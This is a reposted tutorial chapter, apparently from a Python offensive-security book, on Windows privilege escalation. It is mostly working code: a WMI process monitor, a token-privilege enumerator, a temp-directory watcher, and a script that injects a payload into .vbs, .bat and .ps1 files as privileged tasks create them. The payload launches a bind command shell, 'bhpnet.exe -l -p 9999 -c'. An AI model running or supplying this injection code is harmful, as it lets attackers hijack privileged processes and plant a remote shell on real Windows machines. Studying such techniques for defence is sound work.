Python黑帽子:Windows系統提權


利用WMI監視進程

#coding=utf-8
import win32con
import win32api
import win32security

import wmi
import sys
import os

def log_to_file(message):
    fd = open("process_monitor_log.csv","ab")
    fd.write("%s\r\n"%message)
    fd.close()

    return

#創建一個日志文件的頭
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")

#初始化WMI接口
c= wmi.WMI()

#創建進程監控器
process_watcher = c.Win32_Process.watch_for("creation") 

while True:
    try:
        new_process = process_watcher()

        proc_owner = new_process.GetOwner()
        proc_owner = "%s\\%s"%(proc_owner[0],proc_owner[2])
        create_data = new_process.CreationDate
        executable = new_process.ExecutablePath
        cmdline = new_process.CommandLine
        pid = new_process.ProcessId
        parent_pid = new_process.ParentProcessId
        privileges = "N/A"

        process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n"%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges)

        print process_log_message

        log_to_file(process_log_message)

    except:
        pass

Windows系統的令牌權限

Windows系統的令牌是指:“一個包含進程或線程上下文安全信息的對象”。

 

1、SeBackupPrivilege:使得用戶進程可以備份文件和目錄,讀取任何文件而無須關注它的訪問控制列表(ACL)。

2、SeDebugPrivilege:使得用戶進程可以調試其他進程,當然包括獲取進程句柄以便將DLL或者代碼插入到運行的進程中去。

3、SeLoadDriver:使得用戶進程可以加載或者卸載驅動。

#coding=utf-8
import win32con
import win32api
import win32security

import wmi
import sys
import os

def get_process_privileges(pid):
    try:
        #獲取目標進程的句柄
        hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION,False,pid)

        #打開主進程的令牌
        htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)

        #解析已啟用權限的列表
        privs = win32security.GetTokenInformation(htok,win32security.TokenPrivileges)

        #迭代每個權限並輸出其中已經啟用的
        priv_list = ""
        for i in privs:
            #檢測權限是否已經啟用
            if i[1] == 3:
                priv_list += "%s|" % win32security.LookupPrivilegeName(None,i[0])
    except Exception as e:
        priv_list = "N/A"

    return priv_list

def log_to_file(message):
    fd = open("process_monitor_log.csv","ab")
    fd.write("%s\r\n"%message)
    fd.close()

    return

#創建一個日志文件的頭
log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")

#初始化WMI接口
c= wmi.WMI()

#創建進程監控器
process_watcher = c.Win32_Process.watch_for("creation") 

while True:
    try:
        new_process = process_watcher()

        proc_owner = new_process.GetOwner()
        proc_owner = "%s\\%s"%(proc_owner[0],proc_owner[2])
        create_data = new_process.CreationDate
        executable = new_process.ExecutablePath
        cmdline = new_process.CommandLine
        pid = new_process.ProcessId
        parent_pid = new_process.ParentProcessId
        privileges = get_process_privileges(pid)

        process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n"%(create_data,proc_owner,executable,cmdline,pid,parent_pid,privileges)

        print process_log_message

        log_to_file(process_log_message)

    except:
        pass

贏得競爭

有些軟件會把文件復制到一個臨時目錄下,等執行完之后就刪除它。為了在這種條件下要進行權限漏洞的利用,必須在和目標程序執行腳本的競爭中占先。

當軟件或計划任務創建文件的時候,必須能夠在進程執行和刪除文件之前插入代碼。這里可以使用ReadDirectoryChangesW()函數來實現,可以讓我們監控一個目錄中的任何文件或者子目錄的變化。

#coding=utf-8
import tempfile
import threading
import win32file
import win32con
import os

#這些是典型的臨時文件所在的路徑
dirs_to_monitor = ["C:\\Windows\\Temp",tempfile.gettempdir()]

#文件修改行為對應的常量
FILE_CREATED    = 1
FILE_DELETED    = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

def start_monitor(path_to_watch):
    #為每個監控器起一個線程
    FILE_LIST_DIRECTORY = 0x0001

    h_directory = win32file.CreateFile(
        path_to_watch,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None)

    while 1:
        try:
            results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,
                None,
                None
                )

            for action,file_name in results:
                full_filename = os.path.join(path_to_watch,file_name)

                if action == FILE_CREATED:
                    print "[+] Created %s"%full_filename
                elif action == FILE_DELETED:
                    print "[+] Deleted %s"%full_filename
                elif action == FILE_MODIFIED:
                    print "[+] Modified %s"%full_filename

                    #輸出文件內容
                    print "[vvv] Dumping contents..."

                    try:
                        fd = open(full_filename,"rb")
                        contents = fd.read()
                        fd.close()
                        print contents
                        print "[^^^] Dump complete."
                    except:
                        print "[!!!] Failed."
                elif action == FILE_RENAMED_FROM:
                    print "[>] Renamed from: %s"%full_filename
                elif action == FILE_RENAMED_TO:
                    print "[>] Renamed to: %s"%full_filename
                else:
                    print "[???] Unknown: %s"%full_filename
        except:
            pass

for path in dirs_to_monitor:
    monitor_thread = threading.Thread(target=start_monitor,args=(path,))
    print "Spawning monitoring thread for path: %s"%path
    monitor_thread.start()

代碼插入

#coding=utf-8
import tempfile
import threading
import win32file
import win32con
import os

#這些是典型的臨時文件所在的路徑
dirs_to_monitor = ["C:\\Windows\\Temp",tempfile.gettempdir()]

#文件修改行為對應的常量
FILE_CREATED    = 1
FILE_DELETED    = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5

file_types = {}

command = "C:\\Windows\\Temp\\bhpnet.exe -l -p 9999 -c"
file_types['.vbs'] = ["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n"%command]

file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n"%command]
file_types['.psl'] = ["\r\n#bhpmarker","Start-Process \"%s\"\r\n"%command]

#用於執行代碼插入的函數
def inject_code(full_filename,extension,contents):
    #判斷文件是否存在標記
    if file_types[extension][0] in contents:
        return

    #如果沒有標記的話,那么插入代碼並標記
    full_contents = file_types[extension][0]
    full_contents += file_types[extension][1]
    full_contents += contents

    fd = open(full_filename,"wb")
    fd.write(full_contents)
    fd.close()

    print "[\o/] Injected code."

    return

def start_monitor(path_to_watch):
    #為每個監控器起一個線程
    FILE_LIST_DIRECTORY = 0x0001

    h_directory = win32file.CreateFile(
        path_to_watch,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None)

    while 1:
        try:
            results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | win32con.FILE_NOTIFY_CHANGE_SIZE | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | win32con.FILE_NOTIFY_CHANGE_SECURITY,
                None,
                None
                )

            for action,file_name in results:
                full_filename = os.path.join(path_to_watch,file_name)

                if action == FILE_CREATED:
                    print "[+] Created %s"%full_filename
                elif action == FILE_DELETED:
                    print "[+] Deleted %s"%full_filename
                elif action == FILE_MODIFIED:
                    print "[+] Modified %s"%full_filename

                    #輸出文件內容
                    print "[vvv] Dumping contents..."

                    try:
                        fd = open(full_filename,"rb")
                        contents = fd.read()
                        fd.close()
                        print contents
                        print "[^^^] Dump complete."
                    except:
                        print "[!!!] Failed."

                    filename,extension = os.path.splitext(full_filename)

                    if extension in file_types:
                        inject_code(full_filename,extension,contents)

                elif action == FILE_RENAMED_FROM:
                    print "[>] Renamed from: %s"%full_filename
                elif action == FILE_RENAMED_TO:
                    print "[>] Renamed to: %s"%full_filename
                else:
                    print "[???] Unknown: %s"%full_filename
        except:
            pass

for path in dirs_to_monitor:
    monitor_thread = threading.Thread(target=start_monitor,args=(path,))
    print "Spawning monitoring thread for path: %s"%path
    monitor_thread.start()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM